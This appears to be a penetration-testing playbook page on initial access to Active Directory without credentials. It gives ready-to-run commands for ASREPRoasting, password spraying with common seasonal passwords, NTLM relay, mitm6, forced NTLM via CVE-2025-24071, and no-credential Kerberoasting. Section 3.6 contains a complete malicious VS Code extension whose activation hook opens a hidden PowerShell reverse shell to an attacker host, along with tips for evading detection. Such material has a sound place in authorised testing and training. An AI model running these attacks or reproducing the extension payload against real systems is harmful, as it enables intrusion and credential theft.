03 · Initial Access (No Creds)¶
Get a first set of credentials when you have nothing but a username list and network access.
Phase overview
You have valid usernames from Phase 1 but no passwords. Four canonical paths in: ASREPRoasting (account-specific misconfig), password spraying (organization-wide weak passwords), NTLM relay (network-level misconfig), and IPv6 takeover (default Windows misconfig). Always check the password lockout policy BEFORE spraying : see Step 1.5.
3.1 · ASREPRoasting¶
Why this works / how it chains
Normally Kerberos preauth requires you to encrypt a timestamp with the user's password before the KDC sends an AS-REP. If preauth is disabled, the KDC sends an AS-REP encrypted with the user's password hash to anyone who asks, meaning you can crack it offline. GetNPUsers tries every name in your list and returns hashable AS-REPs for the misconfigured ones.
What leads here
- Valid usernames found (Phase 1.6)
- No credentials yet
- 'Do not require Kerberos preauthentication' (DONT_REQ_PREAUTH) set on at least one account
- Signs: BloodHound 'Find AS-REP Roastable Users' query, or just spray-test all users
impacket-GetNPUsers domain.local/ \
-usersfile users.txt \
-no-pass \
-dc-ip <IP> \
-format hashcat \
-outputfile asrep.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt
hashcat -m 18200 asrep.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
john --wordlist=/usr/share/wordlists/rockyou.txt asrep.txt
Leads to →
- Cracked password → valid domain creds → Phase 4 (post-exploitation)
3.2 · Password Spraying¶
Why this works / how it chains
Spraying inverts brute force: instead of many passwords against one user, try one password against many users. This stays under per-account lockout thresholds.
- Two rules:
- (1) ALWAYS check the policy with
--pass-polfirst, and - (2) seasonal/year-based passwords for example ('Spring2024!', 'Welcome2024!') are still shockingly effective in real environments.
- (1) ALWAYS check the policy with
What leads here
- Valid username list
- Password policy checked (lockout threshold known!)
- Common passwords likely in use (any org with > 50 users)
# Spray (1 password at a time)
kerbrute passwordspray -d domain.local --dc <IP> users.txt 'Password123!'
nxc smb <IP> -u users.txt -p 'Welcome1!' --continue-on-success
# Common passwords
'Password123!' 'Welcome1!' 'Welcome2024!' 'Company2024!'
'Summer2024!' 'Winter2024!' 'January2024!' 'Spring2024!'
3.3 · NTLM Relay¶
Why this works / how it chains
NTLM authentication can be relayed to a different service if SMB signing isn't enforced. Responder poisons LLMNR/NBT-NS broadcast queries to make Windows machines authenticate to you, then ntlmrelayx forwards that auth to a target where you become the user. Disable SMB and HTTP in Responder.conf so they don't intercept the auth, you want it to flow through to ntlmrelayx instead.
What leads here
- SMB signing disabled (nxc output shows signing:False)
- Can trigger authentication (Responder for broadcast poisoning, or coercion attacks from Phase 22)
nxc smb <IP>/24 --gen-relay-list targets.txt
# Edit Responder.conf: SMB=Off, HTTP=Off
responder -I tun0 -rdwv
impacket-ntlmrelayx -tf targets.txt -smb2support
impacket-ntlmrelayx -tf targets.txt -smb2support -i # interactive
impacket-ntlmrelayx -tf targets.txt -smb2support -c "whoami"
Leads to →
- Relayed to SMB → command exec / shell on target
- Relayed to LDAP → add computer / grant DCSync (Phase 23.1)
- Relayed to ADCS HTTP → machine cert → DCSync (Phase 5 ESC8)
3.4 · IPv6 DNS Takeover (mitm6)¶
Why this works / how it chains
Windows prefers IPv6 over IPv4. mitm6 advertises itself as an IPv6 DNS server via DHCPv6, and Windows happily switches to it. You then resolve WPAD requests to your own host, which makes browsers send NTLM auth to you. Pair it with ntlmrelayx -6 to forward that auth to LDAPS where you can add a computer object or grant yourself DCSync.
What leads here
- IPv6 enabled on network (default on every modern Windows install)
- No IPv6 DNS server configured (default in most environments)
mitm6 -d domain.local
impacket-ntlmrelayx -6 -t ldaps://<DC_IP> \
-wh fakewpad.domain.local -l loot
3.5 · CVE-2025-24071 Windows File Explorer Spoofing (Forced NTLMv2 via Malicious ZIP)¶
Why this works / how it chains
CVE-2025-24071 abuses the way Windows File Explorer handles .library-ms files embedded inside ZIP archives. When Explorer previews or processes the archive, it automatically resolves a UNC path embedded in the library file, triggering an outbound SMB authentication to your Responder listener, no user interaction beyond uploading the file. The captured NTLMv2 hash can then be cracked offline.
Classic scenario: a web app (resume portal, file share, ticketing system) accepts ZIP/7z uploads and a server-side process such as antivirus scanning, content indexing, or file extraction opens the archive under a service account identity.
What leads here
- A file upload endpoint that accepts ZIP/7z/archive files
- The server-side process runs as a domain account (not SYSTEM or LOCAL SERVICE)
- Outbound SMB (port 445) from the server to your attacker IP is not firewalled
# 1. Clone the PoC
git clone https://github.com/0x6rss/CVE-2025-24071_PoC
cd CVE-2025-24071_PoC
# 2. Generate the malicious ZIP (embeds a .library-ms pointing to your IP)
python3 poc.py
# Enter your file name: resume
# Enter IP (EX: 192.168.1.162): <ATTACKER_IP>
# → produces exploit.zip
# 3. Start Responder BEFORE uploading
sudo responder -I tun0
# 4. Upload exploit.zip to the target file upload endpoint
# (via browser, curl, or Burp repeater)
# 5. Wait for the hash to arrive in Responder output:
# [SMB] NTLMv2-SSP Username : DOMAIN\svc_account
# [SMB] NTLMv2-SSP Hash : svc_account::DOMAIN:<challenge>:<response>:<blob>
# Save hash to file
echo 'svc_account::DOMAIN:<challenge>:<response>:<blob>' > ntlmv2.txt
# Crack with hashcat (mode 5600 = NTLMv2)
hashcat -m 5600 ntlmv2.txt /usr/share/wordlists/rockyou.txt
hashcat -m 5600 ntlmv2.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
# Validate the cracked credential
nxc smb <DC_IP> -u svc_account -p 'crackedpassword'
Leads to →
- Cracked password → valid domain creds → Phase 4 (post-exploitation / BloodHound)
- If SMB signing is disabled → relay the NTLMv2 directly via ntlmrelayx instead of cracking (Phase 3.3)
Detection / OPSEC
- Outbound SMB to an external/attacker IP is high-signal in most environments; EDR and firewall logs catch this
- Responder poisoning is detectable (LLMNR/NBT-NS anomaly detection tools such as Respounder)
- File upload + immediate outbound SMB correlation is a common detection rule
- Where possible, route through a machine already inside the network segment to avoid crossing firewall boundaries
3.6 · Malicious VS Code Extension (.vsix) via Writable SMB Share¶
Why this works / how it chains
When an SMB share description mentions VS Code extensions or approved .vsix packages, it almost always means a service account (often svc_deploy or similar) periodically scans that share and installs any .vsix it finds into a VS Code instance. A .vsix is just a ZIP containing a package.json (metadata + activation events) and an extension.js (the Node.js entry point). The activation hook runs arbitrary Node.js, and therefore arbitrary system commands; the moment VS Code loads the extension.
Key indicator: share description contains language like "VS Code extensions", "approved .vsix packages", or "compatible with VS Code engine 1.118.x". The engine version pinned in the description tells you the exact "vscode" version to declare in your package.json, which passes the install validation.
What leads here
- SMB share readable AND writable by your account (or an account you've compromised)
- Share description references VS Code,
.vsix, or extension packages - A process on the target box periodically installs extensions (BloodHound may show
svc_deployinRemote Management Usersthat's the executor)
{
"name": "payload-ext",
"displayName": "Payload Extension",
"version": "1.0.0",
"publisher": "attacker",
"engines": { "vscode": "^1.118.0" },
"categories": ["Other"],
"activationEvents": ["*"],
"main": "./extension.js"
}
const { exec } = require('child_process');
function activate(context) {
const cmd = `powershell -NoP -NonI -W Hidden -Exec Bypass -c `
+ `"$c=New-Object System.Net.Sockets.TCPClient('<ATTACKER_IP>',<PORT>);`
+ `$s=$c.GetStream();[byte[]]$b=0..65535|%{0};`
+ `while(($i=$s.Read($b,0,$b.Length)) -ne 0)`
+ `{$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);`
+ `$sb=(iex $d 2>&1|Out-String);`
+ `$sb2=$sb+'PS '+(pwd).Path+'> ';`
+ `$sbt=([text.encoding]::ASCII).GetBytes($sb2);`
+ `$s.Write($sbt,0,$sbt.Length);$s.Flush()};$c.Close()"`;
exec(cmd, () => {});
}
function deactivate() {}
module.exports = { activate, deactivate };
<?xml version="1.0" encoding="utf-8"?>
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="vsixmanifest" ContentType="text/xml"/>
<Default Extension="json" ContentType="application/json"/>
<Default Extension="js" ContentType="application/javascript"/>
</Types>
<?xml version="1.0" encoding="utf-8"?>
<PackageManifest Version="2.0.0" xmlns="http://schemas.microsoft.com/developer/vsx-schema/2011">
<Metadata>
<Identity Id="attacker.payload-ext" Version="1.0.0" Publisher="attacker" Language="en-US"/>
<DisplayName>Payload Extension</DisplayName>
<Description>Dark theme</Description>
</Metadata>
<Installation>
<InstallationTarget Id="Microsoft.VisualStudio.Code"/>
</Installation>
<Dependencies/>
<Assets>
<Asset Type="Microsoft.VisualStudio.Code.VisualStudioCode" Path="extension/"/>
</Assets>
</PackageManifest>
# From inside the vsix/ directory:
zip ../payload.vsix '[Content_Types].xml' extension.vsixmanifest
zip -r ../payload.vsix extension/
cd ..
rlwrap nc -lvnp <PORT>
# Upload via smbclient (replace share and creds)
smbclient //<DC_IP>/<SHARE> -U 'domain.local/<user>%<pass>' \
-c 'put payload.vsix'
# Or via impacket-smbclient with a Kerberos ccache
export KRB5CCNAME=user.ccache
impacket-smbclient -k -no-pass dc01.domain.local
# use <SHARE>
# put payload.vsix
Thought process
The service account that runs the installer shows up in BloodHound with Remote Management Users membership; that tells you what account context your shell will land in. Once you have that shell, immediately whoami /all and check BloodHound for that account's outbound control edges.
Leads to →
- Shell as the service account identity that runs VS Code installs
- Check BloodHound for that account: GenericWrite → targeted kerberoast (Phase 20.1), dMSA creation rights → BadSuccessor (Phase 12.8)
Detection / OPSEC
- A new
.vsixappearing in a monitored share triggers file-create alerts - VS Code extension install logs are written to
%APPDATA%\Code\logs\forensic trail exists - The
extension.jsexec()call spawnspowershell.exeas a child ofCode.exehighly detectable parent-child anomaly - Rename the extension to something plausible matching other packages already in the share; match the existing naming convention
3.7 · Kerberoasting WITHOUT Any Credentials (AS-REP → Kerberoast)¶
Why this works / how it chains
Kerberoasting is normally a with-creds attack (Phase 4.1): you need a TGT to request service tickets. But Charlie Clark's Sept-2022 research showed that any account with DONT_REQUIRE_PREAUTH set can be used to Kerberoast other users without knowing a single password. Because a pre-auth-disabled account will hand out an AS-REP to anyone, you can build an AS-REQ that asks for a service ticket (an enc-part encrypted with the service account's key) in one shot turning an ASREPRoastable account into a free Kerberoasting oracle.
This is the bridge you reach for when your only foothold is one AS-REP-roastable user whose own hash won't crack, but the domain has juicy SPNs (svc_sql, svc_web, ldap_monitor, etc.).
What leads here
- You have a valid username list (Phase 1.6) but no passwords
- At least one account has
DONT_REQUIRE_PREAUTHset (found via Phase 3.1GetNPUsers) - Other accounts in the domain have SPNs registered (service accounts)
# Roast to find the DONT_REQUIRE_PREAUTH account (it will emit a $krb5asrep$)
impacket-GetNPUsers domain.local/ -usersfile users.txt -no-pass -dc-ip <DC_IP>
# Note the account that returns a hash, e.g. "preauth_user"
# Requires a recent impacket (install from GitHub if PyPI lacks --no-preauth):
# pipx install git+https://github.com/fortra/impacket
impacket-GetUserSPNs -no-preauth preauth_user \
-usersfile users.txt \
-dc-host <DC_IP> \
domain.local/ | tee kerberoast_hashes.txt
# Keep only the crackable TGS-REP blobs
grep '^\$krb' kerberoast_hashes.txt > roast.txt
# Isolate a human-service account (e.g. ldap_monitor); DC$/krbtgt/*$ are hopeless
hashcat -m 13100 roast.txt /usr/share/wordlists/rockyou.txt \
-r /usr/share/hashcat/rules/best64.rule
Thought process
Don't waste time cracking krbtgt, DC01$, or any *$ machine account; those have 120-char random passwords. Grep out the human-named service accounts first. A single shared service-account password often unlocks a second user via spraying (Phase 3.2 with --continue-on-success).
Leads to →
- Cracked service-account password → valid domain creds → Phase 4 (BloodHound + ACL analysis)
- Reuse the cracked password in a spray across the full user list → often a second account (Phase 3.2)